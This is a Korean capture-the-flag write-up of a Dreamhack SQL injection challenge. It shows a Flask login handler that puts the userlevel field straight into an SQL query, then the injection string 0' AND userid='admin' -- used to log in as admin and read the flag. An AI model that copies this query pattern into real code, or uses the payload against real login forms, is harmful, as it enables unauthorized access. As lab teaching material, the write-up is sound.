https://dreamhack.io/wargame/challenges/769
어딘가 이상한 로그인 서비스입니다.
SQL INJECTION 취약점을 통해 플래그를 획득하는 문제입니다. 플래그는 flag.txt, FLAG 변수에 있습니다.
chatGPT와 함께 풀도록 제안된 문제입니다.
(하지만 문제 난이도를 보니 chatGPT 없어도 충분히 해결 가능한 수준입니다.)
제시된 app.py를 확인해 보았습니다.
@app.route('/login', methods=['GET', 'POST'])
def login():
if request.method == 'GET':
return render_template('login.html')
else:
userlevel = request.form.get('userlevel')
res = query_db(f"select * from users where userlevel='{userlevel}'")
if res:
userid = res[0]
userlevel = res[2]
print(userid, userlevel)
if userid == 'admin' and userlevel == 0:
return f'hello {userid} flag is {FLAG}'
return f'<script>alert("hello {userid}");history.go(-1);</script>'
return '<script>alert("wrong");history.go(-1);</script>'
app.run(host='0.0.0.0', port=8000)
userid 가 admin이고 userlevel이 0인 경우 플래그가 획득됨을 확인할 수 있습니다.
userlevel을 0으로 입력하고 로그인을 시도해 보았습니다. 하지만 guest로 로그인 되며 flag를 획득하지 못하였습니다.

위의 로그인 처리 파이썬 코드를 다시 확인해보면
userlevel = request.form.get('userlevel')
res = query_db(f"select * from users where userlevel='{userlevel}'")
userlevel 값을 별다른 보안 없이 쿼리에 직접 넣고 있어서 SQL 인젝션이 가능합니다.
조건을 만족하는 sql 쿼리는
select * from users where userlevel='0' AND userid='admin' --
입니다. {userlevel}' 에 삽입되기에 최종적으로
0' AND userid='admin' --
을 userlevel 파라미터에 입력합니다.
select * from users where userlevel='0' AND userid='admin' -- 형식이 됩니다.userid 가 admin이고 userlevel이 0인 경우를 만족하는 코드입니다.-- 를 통해 주석처리를 함으로서 SQL 인젝션이 실행 가능하도록 합니다.
성공적으로 플래그 확인할 수 있다.

app.py code, it's found that the userlevel parameter is directly injected into the SQL query without sanitization.admin user with userlevel=0 to get the flag.0' AND userid='admin' --SELECT * FROM users WHERE userlevel='0' AND userid='admin' --